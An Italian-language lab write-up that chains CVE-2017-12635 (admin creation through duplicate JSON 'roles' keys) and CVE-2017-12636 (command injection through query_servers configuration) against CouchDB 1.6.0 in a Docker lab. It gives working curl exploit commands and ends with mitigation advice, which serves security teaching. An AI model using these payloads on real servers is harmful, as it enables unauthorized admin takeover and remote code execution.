Lab7-CVE-2017-12635-12636

I. ANALISI DEL SISTEMA

Identificazione della Superficie di Attacco

Inizio da ciò che è in esecuzione nell'ambiente. Elenco tutti i container attivi:

docker ps

La vittima espone una singola porta: 5984

⇒ Eseguo un curl diretto per sondare ulteriori informazioni:

curl -i http://192.168.3.137:5984/

Analisi della Risposta:

Risposta: HTTP/1.1 200 OK, che dimostra che il servizio sulla porta 5984 è attivo e può essere raggiunto direttamente tramite HTTP.

Header del Server: CouchDB/1.6.0 (Erlang OTP/17) e il corpo JSON contenente "version":"1.6.0" confermano che si tratta di Apache CouchDB versione 1.6.0.

Valutazione della Superficie di Attacco:

Il servizio CouchDB è esposto esternamente tramite la porta 5984. Questa è la porta predefinita per l'API HTTP di CouchDB, che consente l'interazione con il database tramite un'API REST.

La versione CouchDB 1.6.0 è una versione obsoleta, precedente alla patch 1.7.1. Secondo la documentazione Apache, le versioni di CouchDB in questo intervallo sono affette da:

• CVE-2017-12635: Escalation Remota dei Privilegi a causa della gestione incoerente delle chiavi JSON roles duplicate.
• CVE-2017-12636: Esecuzione Remota di Codice poiché un utente admin può modificare le configurazioni del server tramite l'API HTTP.

=> Riflessione: Dalla risposta ottenuta, ci sono prove sufficienti per determinare che la vittima esegue Apache CouchDB 1.6.0 sulla porta 5984. Si tratta di una versione obsoleta associata alla catena di exploit di CVE-2017-12635 e CVE-2017-12636. Pertanto, un percorso di exploit logico è testare prima lo stato di autenticazione e poi valutare il potenziale di escalation dei privilegi o di esecuzione di comandi tramite l'API HTTP di CouchDB.

II. Verifica dello Stato di Autenticazione (CVE-2017-12635)

CVE-2017-12635 sfrutta la discrepanza tra due parser JSON in CouchDB. Quando si invia un documento utente a /_users con due chiavi roles duplicate, CouchDB usa la seconda chiave roles per verificare i privilegi di scrittura del documento, ma usa la prima chiave roles per i permessi effettivi dell'utente dopo la creazione. Pertanto, un attaccante imposta la prima roles a ["_admin"] e la seconda roles a [] per bypassare il controllo di validazione, facendo sì che l'utente creato abbia privilegi di amministratore.

In base alla Documentazione di CouchDB, CouchDB memorizza le informazioni degli utenti in un database speciale chiamato _users, dove ogni documento utente ha un ID formattato come org.couchdb.user:<username>. Poiché dobbiamo creare un utente di nome hacker, l'endpoint utilizzato è /_users/org.couchdb.user:hacker. Creo un nuovo utente e gli assegno privilegi di amministratore per vedere come risponde il server.

curl -X PUT http://192.168.3.137:5984/_users/org.couchdb.user:hacker \
-H "Content-Type: application/json" \
-d '{
"type": "user",
"name": "hacker",
"roles": ["_admin"],
"roles": [],
"password": "password123"
}'

La risposta restituita è true, a dimostrazione che l'utente è stato creato correttamente. Eseguo un controllo di verifica utilizzando le credenziali admin appena create: curl -u hacker:password123 http://192.168.3.137:5984/_users. L'endpoint /_users è un database di sistema di cui, per impostazione predefinita, solo gli admin possono leggere i metadati. Se richiesto da un utente normale → 403 Forbidden. La risposta 200 OK con le informazioni complete del DB conferma che l'account hacker possiede effettivamente privilegi _admin. Ciò è perfettamente in linea con l'ipotesi della CVE-2017-12635 su Apache CouchDB 1.6.0.

Riepilogo:

Ho verificato con successo la CVE-2017-12635 su Apache CouchDB 1.6.0. Inizialmente, la porta 5984 mostrava solo che l'API HTTP di CouchDB era esposta. Dopo il fingerprinting tramite curl, la risposta ha confermato che il servizio è CouchDB 1.6.0, una versione all'interno dell'intervallo di vulnerabilità della CVE-2017-12635.

Invece di concludere immediatamente che la RCE sia possibile, ho prima verificato il flusso di autenticazione passo dopo passo. Inviando un documento utente a /_users con due chiavi roles duplicate, il payload ha creato con successo l'utente hacker. Successivamente, la richiesta a /_users tramite curl -u hacker:password123 ha restituito 200 OK insieme ai dettagli del database di sistema, dimostrando che l'utente hacker detiene realmente privilegi _admin.

Di conseguenza, una volta ottenuti i privilegi di amministratore di CouchDB, la superficie di attacco si espande alla CVE-2017-12636, poiché gli admin possono modificare la configurazione di CouchDB tramite l'API HTTP. Questo costituisce il prerequisito per valutare ulteriormente le capacità di esecuzione remota di codice sul server.

⇒ Riflessione: Utilizzare i privilegi di amministratore appena acquisiti per testare l'esecuzione di comandi a livello di sistema operativo.

III. Dai Privilegi di Amministratore di CouchDB all'Esecuzione Remota di Codice (CVE-2017-12636)

Secondo la Documentazione di Apache CouchDB, un Query Server è un processo esterno utilizzato da CouchDB per elaborare le design functions, come ad esempio una vista JavaScript nel meccanismo MapReduce. Quando un design document dichiara un campo "language", CouchDB si basa su questo valore per individuare il query server corrispondente nella configurazione query_servers.

Se il design document contiene "language": "javascript", CouchDB interroga la configurazione query_servers.javascript per determinare quale processo avviare per gestire la funzione map/reduce. Questo è un design legittimo di CouchDB, poiché il core di CouchDB non esegue direttamente tutto il codice delle viste all'interno del motore del database.

⇒ Il problema nella CVE-2017-12636 risiede nella capacità di un amministratore di CouchDB di modificare la configurazione del server tramite l'API HTTP. Alcune di queste configurazioni includono percorsi a binari o processi a livello di sistema operativo che CouchDB lancerà. Pertanto, dopo aver ottenuto i privilegi di amministratore tramite la CVE-2017-12635, un attaccante può modificare query_servers.<language> per puntare a un comando del sistema operativo. Quando viene attivata una vista che utilizza il linguaggio corrispondente, CouchDB eseguirà il comando, con conseguente esecuzione di comandi sul server.

Flusso di Sfruttamento:

1. Acquisire i privilegi di amministratore di CouchDB tramite la CVE-2017-12635.
2. Scrivere la configurazione malevola in query_servers.cmd tramite l'endpoint /_config.
3. Creare un design document con "language": "cmd".
4. Attivare la vista.
5. CouchDB cerca query_servers.cmd e avvia il processo configurato.
6. Il comando del sistema operativo viene eseguito con i privilegi del processo CouchDB.

Meccanismo Operativo

Scrittura della Configurazione query_server Malevola

Registrare un "query server" con un nome arbitrario, con il valore rappresentato dal comando del sistema operativo:

curl -X PUT http://hacker:[email protected]:5984/_config/query_servers/cmd \
  -H "Content-Type: application/json" \
  -d '"id 1>/tmp/pwned 2>&1"'

Questo è il comando del sistema operativo che verrà eseguito dal processo CouchDB.

Attivazione dell'Esecuzione — Creazione del Database e del Documento

# Create test database
curl -X PUT http://hacker:[email protected]:5984/rcetest

# Create design document with view using language "cmd"
curl -X PUT http://hacker:[email protected]:5984/rcetest/_design/rce \
  -H "Content-Type: application/json" \
  -d '{
    "language": "cmd",
    "views": {
      "myview": {
        "map": "function(doc){}"
      }
    }
  }'

# Trigger view → CouchDB spawns query server "cmd" → executes OS command
curl http://hacker:[email protected]:5984/rcetest/_design/rce/_view/myview

Flusso di Esecuzione:

View query → [HTTP PUT Config] -> [Inject OS command as mock query language]
           → [HTTP PUT Design Doc] -> [Assign handling attribute to the mock query language]
           → [HTTP GET View] -> [Force CouchDB config lookup -> Spawn subprocess executing command]
           → [Read /tmp/pwned] -> [Confirm successful execution privilege (RCE)]

Verifica della RCE:

docker exec project1-lab07-1 cat /tmp/pwned

Riflessione: Questo attacco RCE è cieco/asincrono perché l'output del comando non viene restituito direttamente nella risposta HTTP. Pertanto, per dimostrare che il comando è stato eseguito, ho utilizzato un payload che genera un effetto collaterale scrivendo l'output del comando id nel file /tmp/pwned. Leggendo il file /tmp/pwned nel container e osservando l'output uid=1000(couchdb) gid=999(couchdb), si può concludere che CouchDB ha eseguito con successo il comando del sistema operativo con i privilegi dell'utente couchdb.

Il risultato uid=1000(couchdb) mostra che il comando non è stato eseguito con privilegi di root, ma piuttosto con i privilegi del processo CouchDB. Ciò rimane sufficiente per dimostrare che la CVE-2017-12636 porta all'Esecuzione Remota di Codice entro i limiti dei permessi del servizio.

IV. VALUTAZIONE DEL RISCHIO E RACCOMANDAZIONI

Valutazione del Rischio

La vulnerabilità di Incoerenza del Parser JSON (CVE-2017-12635) combinata con l'Iniezione del Query Server (CVE-2017-12636) sul sistema è valutata al livello di rischio massimo:

Raccomandazioni per la Mitigazione

Per mitigare a fondo queste vulnerabilità, il team di amministrazione di sistema deve implementare le seguenti misure (in ordine di priorità):

Priorità Urgente (Breve termine):

1. Aggiornare Apache CouchDB: Passare immediatamente a una versione sicura (≥ 1.7.1 o ≥ 2.1.1, versione consigliata 3.x). Questa è una misura obbligatoria poiché la vulnerabilità risiede nel motore core del parser JSON (jiffy) e nel meccanismo di configurazione del query server.
2. Imporre l'Autenticazione Obbligatoria: Configurare require_valid_user = true nel file di configurazione local.ini per bloccare ogni accesso anonimo all'API. Non eseguire mai CouchDB in modalità "Admin Party" (dove non esiste alcun admin, rendendo tutti amministratori).

Priorità Alta (Lungo termine e Difesa in Profondità):

1. Limitare l'Accesso di Rete alla Porta 5984: Configurare un firewall (iptables/firewall) per consentire l'accesso alla porta 5984 solo a IP fidati. Questa porta non dovrebbe mai essere esposta a internet pubblico. Se l'applicazione e CouchDB risiedono sulla stessa macchina, vincolare CouchDB strettamente a 127.0.0.1.
2. Disabilitare la Configurazione tramite API HTTP: Utilizzare config_whitelist nel file local.ini per limitare quali chiavi di configurazione possono essere modificate tramite l'API, impedendo agli attaccanti di sfruttare l'endpoint /_config/query_servers per iniettare comandi del sistema operativo.
3. Limitare il Networking dei Container: Evitare di collocare il container su una rete bridge predefinita condivisa a meno che non sia necessario. Configurare regole firewall per impedire al container di avviare attivamente connessioni in uscita (traffico outbound) verso internet al fine di prevenire l'esecuzione di Reverse Shell.